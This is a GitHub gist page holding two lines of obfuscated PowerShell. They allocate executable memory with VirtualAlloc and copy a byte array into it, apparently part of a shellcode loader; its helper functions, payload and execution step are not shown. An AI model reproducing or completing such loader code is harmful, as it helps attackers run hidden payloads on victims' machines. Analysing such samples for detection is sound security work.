Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created May 3, 2021 23:11
Show Gist options
  • Save JohnHammond/2de053e0f9029b83b3aad314dcdb0079 to your computer and use it in GitHub Desktop.
Save JohnHammond/2de053e0f9029b83b3aad314dcdb0079 to your computer and use it in GitHub Desktop.
$sC6US = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll VirtualAlloc), (b9MW @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $bUMJ.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($bUMJ, 0, $sC6US, $bUMJ.length)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment